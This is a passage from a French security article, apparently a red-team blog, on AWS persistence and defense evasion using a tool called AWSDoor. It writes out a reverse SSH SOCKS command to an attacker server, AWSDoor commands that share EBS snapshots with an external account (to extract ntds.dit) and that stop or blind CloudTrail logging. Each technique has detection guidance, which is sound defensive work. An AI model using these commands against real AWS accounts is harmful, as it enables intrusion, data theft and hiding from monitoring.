<p style="text-align: justify;">Du point de vue d’un défenseur, <strong>les Lambda </strong><strong>layers sont souvent négligées lors des réponses à incident</strong>, en particulier lorsque seul le code de la fonction est examiné. Comme les layers ne sont pas affichées en ligne dans la console Lambda et doivent être téléchargées manuellement sous forme d’archives ZIP, <strong>un contenu malveillant peut facilement passer inaperçu</strong>. Cela fait des layers un emplacement attractif pour les attaquants souhaitant dissimuler des portes dérobées ou des dépendances compromises.</p>
<p style="text-align: justify;">Les <strong>stratégies de détection et de mitigation suivantes peuvent aider les équipes de sécurité</strong> à identifier et à réagir à une utilisation suspecte des couches Lambda :</p>
<ul>
<li style="text-align: justify;"><strong> Auditer les attachements de Lambda layers</strong>: l’événement UpdateFunctionConfiguration est enregistré par CloudTrail qu’un nouveau layer est attachée à une fonction Lambda. Il est alors possible de suivre les changements inhabituels ou les associations entre des équipes ou projets sans lien.</li>
<li style="text-align: justify;"><strong> Restreindre la mise à jour des layers au flux CICD </strong>: empêcher toute modification de couche en dehors de la pipeline CICD, en établissant une liste blanche des rôles autorisés à le faire. Concentrer les efforts de détection et de chasse aux menaces sur les usages abusifs ou les mises à jour de ce rôle.</li>
<li style="text-align: justify;"><strong> Vérifier les Lambda exposées directement sur Internet :</strong> exposer une Lambda sur Internet peut être un signe de déploiement de persistance. Toute modification inhabituelle de configuration impliquant l’exposition d’une telle ressource sur Internet doit être investiguée.</li>
</ul>
<p> </p>
<figure id="attachment_27336" aria-describedby="caption-attachment-27336" style="width: 956px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27336" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-365x191.png" alt="Événement déclenché lors de la création d’un API Gateway" width="956" height="500" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-365x191.png 365w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-768x401.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word.png 1395w" sizes="auto, (max-width: 956px) 100vw, 956px" /><figcaption id="caption-attachment-27336" class="wp-caption-text"><em>Événement déclenché lors de la création d’un API Gateway</em></figcaption></figure>
<p> </p>
<figure id="attachment_27338" aria-describedby="caption-attachment-27338" style="width: 998px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27338" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-398x191.png" alt="Événement déclenché lors de l’association d’une URL à une fonction Lambda" width="998" height="479" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-398x191.png 398w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-768x369.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-1536x738.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word.png 1599w" sizes="auto, (max-width: 998px) 100vw, 998px" /><figcaption id="caption-attachment-27338" class="wp-caption-text"><em>Événement déclenché lors de l’association d’une URL à une fonction Lambda</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Bien que les <strong>layers soient une fonctionnalité puissante et utile</strong>, elles constituent <strong>un angle mort dans de nombreuses configurations de </strong><strong>monitoring</strong> de la sécurité AWS.</p>
<p> </p>
<h4>EC2</h4>
<h5><span style="text-decoration: underline;">Socks</span></h5>
<p style="text-align: justify;">AWS Systems Manager (SSM) <strong>offre un moyen puissant et flexible de gérer et d’interagir avec des instances EC2</strong> sans nécessiter d’accès réseau direct tel que SSH ou RDP. Au cœur de son fonctionnement, SSM permet la gestion à distance en utilisant un agent installé sur l’instance, qui communique de manière sécurisée avec le service Systems Manager. Par ce canal, <strong>les administrateurs peuvent exécuter des commandes, lancer des scripts ou ouvrir des sessions shell interactives sur les instances</strong>, le tout sans les exposer à Internet public ni gérer de bastions d’accès.</p>
<p style="text-align: justify;">L’un des principaux avantages de SSM est <strong>la réduction de la surface d’attaque grâce à la limitation des services exposés</strong>. Comme la communication est initiée depuis l’instance elle-même, qui se connecte aux points de terminaison du service SSM, cette approche fonctionne même dans un environnement réseau sécurisé où l’accès entrant est restreint.</p>
<p style="text-align: justify;">D’un point de vue sécurité, <strong>bien que SSM réduise l’exposition, il introduit également de nouveaux risques</strong>. Par exemple, si un attaquant compromet une identité disposant des autorisations pour démarrer des sessions SSM ou envoyer des commandes, il peut obtenir une exécution de code à distance sur l’instance sans nécessiter de point d’appui réseau.</p>
<p style="text-align: justify;">Un attaquant ayant <strong>accès au compte AWS peut exploiter les capacités de SSM pour compromettre une instance EC2</strong> et l’utiliser comme pivot réseau. Une approche courante consiste à déployer un proxy SOCKS inversé via SSH. En utilisant SSM, l’attaquant peut exécuter des commandes sur l’instance EC2 pour y déployer une clé SSH, puis lancer une commande afin d’exposer le port SSH de l’EC2 vers son propre serveur :</p>
<p> </p>
<pre>ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R 2222:127.0.0.1:22 jail@{attackerServer} -I ~/cloudinit.pem -N -f</pre>
<p> </p>
<p style="text-align: justify;">Ensuite, l’attaquant, depuis son serveur, peut ouvrir un proxy SOCKS via SSH à l’aide de la commande suivante :</p>
<p> </p>
<pre>ssh -D 4444 ssm-user@127.0.0.1:2222</pre>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Cela lui permet de faire <strong>transiter du trafic à travers l’instance EC2 compromise</strong>, en l’utilisant comme point d’appui à l’intérieur du réseau.</p>
<p> </p>
<h5><strong><u>Exfiltration de snapshot</u></strong></h5>
<p style="text-align: justify;">Bien qu’elle ne constitue pas un mécanisme de persistance, <strong>l’exfiltration de snapshot est une technique puissante d’exfiltration de données</strong> dans les environnements AWS. Elle exploite la possibilité de partager des snapshots Elastic Block Store (EBS) entre différents comptes AWS. Bien que cette fonctionnalité soit conçue pour la sauvegarde ou la collaboration, elle peut être détournée pour exfiltrer massivement des données.</p>
<p style="text-align: justify;">Un attaquant <strong>disposant de permissions suffisantes dans un compte AWS compromis peut créer un snapshot d’un volume EBS</strong>, puis le partager avec un compte externe qu’il contrôle.</p>
<p> </p>
<figure id="attachment_27340" aria-describedby="caption-attachment-27340" style="width: 1032px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27340" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-320x191.png" alt="Snapshot partagée" width="1032" height="616" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-320x191.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-65x39.png 65w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-768x459.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word.png 1186w" sizes="auto, (max-width: 1032px) 100vw, 1032px" /><figcaption id="caption-attachment-27340" class="wp-caption-text"><em>Snapshot partagée</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Depuis ce compte AWS externe, <strong>le snapshot peut être monté, copié et inspecté</strong>, donnant à l’attaquant un accès complet aux données du disque sous-jacent sans jamais rien télécharger directement depuis l’environnement cible.</p>
<p style="text-align: justify;">Cette méthode est <strong>particulièrement dangereuse lorsqu’elle est appliquée à une infrastructure sensible</strong>. Par exemple, si un contrôleur de domaine est virtualisé dans AWS, un attaquant peut prendre un snapshot de son volume, <strong>le partager avec son propre compte AWS et en extraire des fichiers sensibles tels que ntds.dit</strong>.</p>
<p> </p>
<figure id="attachment_27342" aria-describedby="caption-attachment-27342" style="width: 1369px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27342" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-244x191.png" alt="Extraction de la NTDS.DIT en utilisant les Snapshot AWS" width="1369" height="1072" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-244x191.png 244w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-768x602.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word.png 1018w" sizes="auto, (max-width: 1369px) 100vw, 1369px" /><figcaption id="caption-attachment-27342" class="wp-caption-text"><em>Extraction de la NTDS.DIT en utilisant les Snapshot AWS</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Tout cela <strong>peut se produire sans qu’il soit nécessaire d’interagir avec l’instance via le réseau</strong>, en contournant ainsi tous les outils de sécurité déployés sur le réseau interne.</p>
<p style="text-align: justify;">Il s’agit d’une technique d’exfiltration de données à faible bruit mais à fort impact, qui détourne des fonctionnalités natives d’AWS et passe inaperçue si des contrôles spécifiques ne sont pas en place.</p>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p style="text-align: justify;">Ces <strong>deux techniques sont implémentées dans AWSDoor</strong>. Les commandes suivantes peuvent être utilisées pour exporter une instance EC2 spécifique :</p>
<p> </p>
<pre>python .\main.py -m EC2DiskExfiltration -i i-0021dfcf18a891b07 -a 503561426720   <br /> <br />[-] The following volumes will be snapshoted and shared with 503561426720:                                       <br />        - vol-09ce1bf602374a743<br />[+] Do you want to apply this change? (yes/no): yes<br />[-] Created snapshot snap-006e79ceddf11a103 for volume vol-09ce1bf602374a743<br />[+] Shared snapshot snap-006e79ceddf11a103 with account 503561426720<br /><br /></pre>
<p>De la même manière, l’action SSH SOCKS peut être automatisée :</p>
<pre>python .\main.py -m EC2Socks -name i-0021dfcf18a891b07 -key "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILm9CIAw/X84wK1F5yfHJ+Z80S8iJjPNRuOIZlo7lMbg" -remotekey ..\..\Downloads\EC2.pem -user ec2-user -socksport 4444 -sshuser admin -sshhost 13.38.79.236 --method systemd<br /><br />[+] Command sent with ID: abdaf34e-7750-47b5-88c5-05d3fc1e67da<br />[-] Waiting 10 seconds for execution<br />[+] Status: Success</pre>
<p> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Détection</span></h5>
<p style="text-align: justify;">Pour la partie snapshot, <strong>CloudTrail enregistre plusieurs événements </strong>:</p>
<ul>
<li style="text-align: justify;"><strong>CreateSnapshot </strong>: enregistré lorsqu’un snapshot est créé. Il s’agit d’une opération courante dans la plupart des environnements disposant de politiques de sauvegarde, donc pas intrinsèquement suspecte. Cependant, il est facile pour des attaquants de se fondre dans le bruit en imitant l’activité de sauvegarde standard.</li>
<li style="text-align: justify;"><strong>ModifySnapshotAttribute </strong>: enregistré lorsque le snapshot est partagé. Bien que la modification d’un attribut de snapshot ne soit pas inhabituelle, une simple analyse du contenu montre que le snapshot a été partagé avec un compte distant :</li>
</ul>
<p> </p>
<figure id="attachment_27344" aria-describedby="caption-attachment-27344" style="width: 1369px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27344" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-186x191.png" alt="Evènement créé lors du partage d’une snapshot" width="1369" height="1406" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-186x191.png 186w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-38x39.png 38w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-768x790.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word.png 927w" sizes="auto, (max-width: 1369px) 100vw, 1369px" /><figcaption id="caption-attachment-27344" class="wp-caption-text"><em>Evènement créé lors du partage d’une snapshot</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Il est donc possible de limiter ce type d’exploitation en surveillant l’événement ModifySnapshotAttribute et en s’assurant que la valeur de userId se situe dans la plage des comptes liés à l’organisation.</p>
<p style="text-align: justify;">De même, une méthode relevant de la « sécurité par l’obscurité » consisterait à ajouter des balises spécifiques lorsque des snapshots sont effectués à des fins de sauvegarde, <strong>puis à déclencher une alerte lorsqu’un snapshot est créé sans la balise appropriée</strong>. La balise pourrait, par exemple, être un hachage de l’heure de création, dérivé d’un secret connu uniquement de l’outil de sauvegarde.</p>
<p> </p>
<pre>BackupTag=HMAC(creation_time, secret)</pre>
<p> </p>
<p style="text-align: justify;">Pour l’exploitation en reverse SOCKS, <strong>cela dépend de la manière dont l’accès SSM est effectué :</strong></p>
<ul>
<li style="text-align: justify;"><strong>Depuis la console AWS (GUI) </strong>: un événement StartSession est enregistré dans CloudTrail lorsque l’attaquant démarre la connexion distante vers la machine. Le journal contient l’adresse IP de l’attaquant ainsi que l’identifiant EC2 ciblé.</li>
</ul>
<p> </p>
<figure id="attachment_27346" aria-describedby="caption-attachment-27346" style="width: 437px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-medium wp-image-27346" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-437x145.png" alt="Événement déclenché lors d’une connexion SSM" width="437" height="145" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-437x145.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-71x23.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-768x254.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word.png 1291w" sizes="auto, (max-width: 437px) 100vw, 437px" /><figcaption id="caption-attachment-27346" class="wp-caption-text"><em>Événement déclenché lors d’une connexion SSM</em></figcaption></figure>
<p> </p>
<ul>
<li style="text-align: justify;"><strong>Depuis l’AWS CLI ou AWSDoor </strong>: l’événement StartSession n’est pas généré, mais c’est GetCommandInvocation qui est enregistré à la place.</li>
</ul>
<p> </p>
<figure id="attachment_27348" aria-describedby="caption-attachment-27348" style="width: 960px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27348" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-437x168.png" alt="Événement déclenché lors de l’invocation d’une commande SSM" width="960" height="369" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-437x168.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-768x295.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word.png 1264w" sizes="auto, (max-width: 960px) 100vw, 960px" /><figcaption id="caption-attachment-27348" class="wp-caption-text"><em>Événement déclenché lors de l’invocation d’une commande SSM</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Cependant, quelle que soit la technique utilisée, CloudTrail ne journalise pas la ligne de commande complète envoyée. Il reste donc pertinent et important d’ajouter une solution EDR directement sur les ressources.</p>
<p> </p>
<h2>Altération des défenses</h2>
<p style="text-align: justify;">L’altération des défenses désigne <strong>toute action délibérée entreprise par un attaquant pour affaiblir, désactiver ou contourner les capacités de surveillance et de détection</strong> d’un environnement cible. Dans AWS, cela implique généralement de manipuler les configurations de journalisation, de désactiver des services de sécurité ou de modifier les mécanismes d’alerte afin d’éviter la détection pendant ou après une attaque.</p>
<p style="text-align: justify;"><strong>AWS fournit plusieurs services intégrés conçus pour surveiller l’activité</strong>, appliquer la conformité et alerter en cas de comportement suspect. Ces services incluen <strong>: </strong><strong>CloudTrail pour la journalisation des appels API, CloudWatch Logs et CloudWatch Alarms pour la surveillance et l’alerte en temps réel</strong>, GuardDuty pour la détection des menaces, Security Hub pour la centralisation des constats de sécurité et Config pour le suivi de la configuration des ressources. Les <strong>environnements plus avancés peuvent également s’appuyer sur des SIEM tiers ou des plateformes CSPM</strong> intégrées à leurs comptes AWS.</p>
<p style="text-align: justify;">La désactivation ou la modification de <strong>l’un de ces services peut réduire considérablement la visibilité dont disposent les défenseurs</strong> sur les activités malveillantes, faisant de l’altération des défenses une tactique essentielle dans de nombreuses attaques menées dans le cloud.</p>
<p> </p>
<h3>CloudTrail et CloudWatch</h3>
<h4>Introduction à la journalisation AWS</h4>
<p style="text-align: justify;"><strong>Dans les environnements AWS, CloudTrail et CloudWatch sont deux services essentiels de journalisation et de surveillance qui jouent des rôles complémentaires</strong>, mais avec des finalités très différentes. CloudTrail est conçu pour enregistrer toute l’activité API qui se produit dans un compte AWS. Il consigne chaque appel effectué via la console de gestion AWS, l’AWS CLI, les SDK ou autres services AWS. Ainsi, lorsqu’une personne crée une instance EC2, modifie un groupe de sécurité ou supprime une ressource, CloudTrail capture qui a effectué l’action, quand, où et quoi. <strong>Ces journaux sont indispensables pour l’audit, les enquêtes forensiques et le suivi des modifications apportées à l’infrastructure.</strong></p>
<p style="text-align: justify;">CloudWatch, quant à lui, <strong>se concentre sur la surveillance opérationnelle</strong>. Il collecte et stocke les journaux provenant des services et applications, suit des métriques comme l’utilisation CPU ou la consommation mémoire, et prend en charge les alarmes et tableaux de bord <strong>pour une visibilité en temps réel</strong>. Lorsqu’une application écrit des journaux ou que la surveillance des performances système est nécessaire, c’est CloudWatch qui est utilisé. Il peut également être configuré pour recevoir et <strong>stocker les journaux provenant de fonctions Lambda, d’instances EC2 ou d’applications personnalisées</strong>.</p>
<p style="text-align: justify;">La journalisation réseau est également proposée par AWS via les services VPC Flow Logs ou VPC Mirroring. Bien qu’ils puissent être utilisés à des fins de sécurité, leur utilité principale est davantage orientée vers la surveillance opérationnelle. Cet article se concentrera sur le service CloudTrail.</p>
<p style="text-align: justify;">CloudTrail est activé par défaut et conserve les événements pendant 90 jours. Ce service constitue une base de journalisation qui ne peut pas être restreinte ou désactivée. Cependant, des capacités de journalisation supplémentaires peuvent être activées en définissant des trails dans CloudTrail.</p>
<p style="text-align: justify;">CloudTrail conserve les journaux et garantit leur intégrité pendant 90 jours, après quoi les journaux sont supprimés de l’Event History. Si une organisation souhaite assurer une durée de conservation plus longue ou mettre en place une surveillance en temps réel spécifique à partir de ces journaux, elle doit configurer un trail. Cette configuration duplique les journaux et les transfère vers un bucket S3, sur lequel peuvent être branchés des outils de sécurité supplémentaires.</p>
<p style="text-align: justify;">En tant qu’administrateur Cloud, il est possible de créer un « Organization Trail » qui se réplique dans tous les comptes cibles de l’organisation. Une fois mis en place, il n’est pas possible pour un compte ciblé de supprimer ou de désactiver ce trail.</p>
<p> </p>
<h4>Arrêt de la journalisation</h4>
<h5><span style="text-decoration: underline;">Attaque</span></h5>
<p style="text-align: justify;">S’il n’est <strong>pas facilement possible d’altérer les capacités de journalisation de CloudWatch</strong>, il est en revanche possible d’affecter celles de CloudTrail en désactivant simplement la fonction de journalisation.</p>
<p style="text-align: justify;">Cette fonctionnalité <strong>permet d’interrompre l’enregistrement des événements par un trail sans pour autant le supprimer :</strong></p>
<p> </p>
<figure id="attachment_27350" aria-describedby="caption-attachment-27350" style="width: 971px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27350" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-437x148.png" alt="Trail avec capacités de journalisation arrêtées" width="971" height="329" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-437x148.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-71x24.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-768x260.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word.png 1349w" sizes="auto, (max-width: 971px) 100vw, 971px" /><figcaption id="caption-attachment-27350" class="wp-caption-text"><em>Trail avec capacités de journalisation arrêtées</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Bien que cette technique soit efficace pour altérer certaines capacités spécifiques de journalisation, elle présente plusieurs inconvénients majeurs :</p>
<ul>
<li style="text-align: justify;">Effet limité : même si un trail spécifique est impacté, les Organization Trails ne peuvent pas être contournés de cette manière. De plus, l’Event History, avec sa période de rétention inaltérable de 90 jours, restera toujours disponible.</li>
<li style="text-align: justify;">Action bruyante : même si la commande d’arrêt n’est pas détectée, la plupart des solutions SIEM déclenchent des alertes lorsque le flux de journaux s’interrompt.</li>
</ul>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>Cette technique est implémentée dans AWSDoor:</p>
<p> </p>
<pre>python .\main.py --m CloudTrailStop -s<br />[+] Trail logging stopped on 'management-events'</pre>
<p> </p>
<p style="text-align: justify;">La limitation réside dans le fait que cela ne désactivera que les <em>trails</em> définis dans le compte actuel et ne supprimera pas ceux définis au niveau de l’organisation.</p>
<p> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Défense</span></h5>
<p style="text-align: justify;">Du côté du défenseur, cette technique peut être facilement détectée en consultant l’interface graphique. De plus, CloudTrail enregistre également l’événement StopLogging, indiquant qu’un trail a été altéré.</p>
<p> </p>
<h4>Sélecteur d’évènement</h4>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">Dans AWS CloudTrail, <strong>les sélecteurs d’événements permettent un contrôle précis sur les types d’événements qu’un trail enregistre</strong>. Ces sélecteurs peuvent être configurés pour consigner les événements de gestion, les événements de données, ou les deux. Les événements de gestion enregistrent les opérations qui administrent les ressources AWS, comme le lancement d’une instance EC2 ou la modification de rôles IAM. Il s’agit généralement d’appels API de haut niveau effectués via la console, le SDK ou l’AWS CLI, et ils sont essentiels pour l’audit des actions administratives.</p>
<p style="text-align: justify;">Par défaut, <strong>les trails enregistrent les événements de gestion, mais il est possible de modifier les sélecteurs d’événements pour les exclure</strong> partiellement ou totalement. Cette flexibilité peut être utile pour réduire le bruit ou les coûts dans des environnements fortement automatisés, mais elle introduit également un risque. Un attaquant disposant des autorisations adéquates pourrait manipuler les sélecteurs d’événements d’un trail afin <strong>de supprimer certains types de journaux, par exemple en désactivant l’enregistrement des événements de gestion</strong>, ce qui réduirait la visibilité sur les changements effectués pendant ou après une compromission.</p>
<p style="text-align: justify;">Ainsi, en modifiant les sélecteurs d’événements, <strong>il est possible de dégrader les capacités de journalisation de CloudTrail</strong>, rendant plus difficile pour les défenseurs la détection d’activités non autorisées ou l’investigation d’incidents.</p>
<p style="text-align: justify;">L’événement de gestion peut être simplement désactivé. Pour l’événement de données, afin d’éviter d’avoir un champ vide dans l’interface graphique, il est possible de forcer la configuration du sélecteur d’événements à n’enregistrer que des événements liés à une ressource inexistante :</p>
<p> </p>
<figure id="attachment_27358" aria-describedby="caption-attachment-27358" style="width: 1073px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27358" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-381x191.png" alt="Journalisation d’événement provenant d’une ressource inexistante " width="1073" height="538" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-381x191.png 381w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-768x385.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-800x400.png 800w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word.png 1184w" sizes="auto, (max-width: 1073px) 100vw, 1073px" /><figcaption id="caption-attachment-27358" class="wp-caption-text"><em>Journalisation d’événement provenant d’une ressource inexistante</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>AWSDoor peut être utilisé <strong>pour reconfigurer le sélecteur d’événements</strong> afin d’empêcher la journalisation des événements de données et de gestion :</p>
<p> </p>
<pre>python .\main.py --m CloudTrailStop<br />[+] Adding event selector on management-events<br />[+] Management events disabled on trail 'management-events'</pre>
<p> </p>
<p>Une fois le script exécuté, <strong>le sélecteur d’événements est configuré. Le trail apparaît toujours comme actif:</strong></p>
<p> </p>
<figure id="attachment_27354" aria-describedby="caption-attachment-27354" style="width: 1369px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27354" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-437x136.png" alt="Le Trail est toujours considéré comme actif" width="1369" height="426" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-437x136.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-71x22.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-768x238.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word.png 1192w" sizes="auto, (max-width: 1369px) 100vw, 1369px" /><figcaption id="caption-attachment-27354" class="wp-caption-text"><em>Le Trail est toujours considéré comme actif</em></figcaption></figure>
<p> </p>
<p>Cependant, <strong>le sélecteur d’événements empêche toute journalisation</strong> ultérieure :</p>
<p> </p>
<figure id="attachment_27356" aria-describedby="caption-attachment-27356" style="width: 1205px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27356" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-1-280x191.png" alt="Sélecteur d’événements empêchant la journalisation" width="1205" height="822" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-1-280x191.png 280w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-1-57x39.png 57w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-1-768x525.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-1.png 1247w" sizes="auto, (max-width: 1205px) 100vw, 1205px" /><figcaption id="caption-attachment-27356" class="wp-caption-text"><em>Sélecteur d’événements empêchant la journalisation</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Défense</span></h5>
<p style="text-align: justify;">La création du sélecteur d’événements peut être détectée grâce à l’événement PutEventSelector enregistré dans CloudTrail :</p>
<p> </p>
